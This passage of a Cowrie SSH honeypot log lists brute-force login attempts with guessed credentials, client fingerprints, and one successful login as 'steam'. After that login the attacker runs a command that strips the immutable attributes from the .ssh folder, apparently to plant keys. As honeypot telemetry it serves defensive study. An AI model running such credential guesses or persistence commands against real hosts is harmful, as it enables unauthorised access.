.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:25.278905Z","src_ip":"163.7.9.84","session":"da49472f8c3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"connie","password":"connie123","message":"login attempt [connie/connie123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:26.324210Z","src_ip":"163.7.9.84","session":"da49472f8c3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:27.580011Z","src_ip":"163.7.9.84","session":"da49472f8c3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":57952,"dst_ip":"10.17.0.5","dst_port":22,"session":"340a4e3ce5c1","protocol":"ssh","message":"New connection: 103.15.222.183:57952 (10.17.0.5:22) [session: 340a4e3ce5c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:36.984787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:36.990944Z","src_ip":"103.15.222.183","session":"340a4e3ce5c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:37.239036Z","src_ip":"103.15.222.183","session":"340a4e3ce5c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"07101983","message":"login attempt [root/07101983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:37.981666Z","src_ip":"103.15.222.183","session":"340a4e3ce5c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:39.231028Z","src_ip":"103.15.222.183","session":"340a4e3ce5c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":44494,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f73ad33db89","protocol":"ssh","message":"New connection: 77.94.47.83:44494 (10.17.0.5:22) [session: 0f73ad33db89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:44.238756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:44.243043Z","src_ip":"77.94.47.83","session":"0f73ad33db89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:44.348601Z","src_ip":"77.94.47.83","session":"0f73ad33db89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"09081982","message":"login attempt [root/09081982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:44.669366Z","src_ip":"77.94.47.83","session":"0f73ad33db89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:51:45.777984Z","src_ip":"77.94.47.83","session":"0f73ad33db89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":53648,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dfe4389f9bc","protocol":"ssh","message":"New connection: 194.113.233.25:53648 (10.17.0.5:22) [session: 2dfe4389f9bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:52:01.372799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:52:01.378742Z","src_ip":"194.113.233.25","session":"2dfe4389f9bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:52:01.464083Z","src_ip":"194.113.233.25","session":"2dfe4389f9bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"26071983","message":"login attempt [root/26071983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:52:01.722461Z","src_ip":"194.113.233.25","session":"2dfe4389f9bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:52:02.812567Z","src_ip":"194.113.233.25","session":"2dfe4389f9bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5849,"dst_ip":"10.17.0.5","dst_port":22,"session":"562072afd3e7","protocol":"ssh","message":"New connection: 196.188.93.169:5849 (10.17.0.5:22) [session: 562072afd3e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:52:16.879270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:52:16.884392Z","src_ip":"196.188.93.169","session":"562072afd3e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:52:17.059223Z","src_ip":"196.188.93.169","session":"562072afd3e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"666","message":"login attempt [root/666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:52:17.795529Z","src_ip":"196.188.93.169","session":"562072afd3e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:52:18.974078Z","src_ip":"196.188.93.169","session":"562072afd3e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":52130,"dst_ip":"10.17.0.5","dst_port":22,"session":"c73ad687cfef","protocol":"ssh","message":"New connection: 181.188.176.242:52130 (10.17.0.5:22) [session: c73ad687cfef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:52:33.455763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:52:33.459649Z","src_ip":"181.188.176.242","session":"c73ad687cfef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:52:33.621757Z","src_ip":"181.188.176.242","session":"c73ad687cfef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hugo","password":"123456","message":"login attempt [hugo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:52:34.305711Z","src_ip":"181.188.176.242","session":"c73ad687cfef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:52:35.470665Z","src_ip":"181.188.176.242","session":"c73ad687cfef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":38634,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a3fc0862990","protocol":"ssh","message":"New connection: 152.32.214.226:38634 (159.203.135.109:22) [session: 7a3fc0862990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:52:38.477515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:52:38.481467Z","src_ip":"152.32.214.226","session":"7a3fc0862990","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:52:38.697174Z","src_ip":"152.32.214.226","session":"7a3fc0862990","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mtx","password":"mtx","message":"login attempt [mtx/mtx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:52:39.591752Z","src_ip":"152.32.214.226","session":"7a3fc0862990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:52:40.808806Z","src_ip":"152.32.214.226","session":"7a3fc0862990","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":27020,"dst_ip":"10.17.0.5","dst_port":22,"session":"3954b41fb87d","protocol":"ssh","message":"New connection: 36.92.41.115:27020 (10.17.0.5:22) [session: 3954b41fb87d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:16.412832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:16.417264Z","src_ip":"36.92.41.115","session":"3954b41fb87d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:16.680063Z","src_ip":"36.92.41.115","session":"3954b41fb87d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jerry","password":"jerry123","message":"login attempt [jerry/jerry123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:17.766794Z","src_ip":"36.92.41.115","session":"3954b41fb87d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:19.037926Z","src_ip":"36.92.41.115","session":"3954b41fb87d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":24716,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d3a3875d691","protocol":"ssh","message":"New connection: 177.85.247.230:24716 (10.17.0.5:22) [session: 0d3a3875d691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:19.872055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:19.876991Z","src_ip":"177.85.247.230","session":"0d3a3875d691","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:19.979990Z","src_ip":"177.85.247.230","session":"0d3a3875d691","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam.","message":"login attempt [steam/steam.] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:20.424033Z","src_ip":"177.85.247.230","session":"0d3a3875d691","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:20.673694Z","src_ip":"177.85.247.230","session":"0d3a3875d691","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:20.676473Z","src_ip":"177.85.247.230","session":"0d3a3875d691","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:53:20.680498Z","src_ip":"177.85.247.230","session":"0d3a3875d691","protocol":"ssh"}
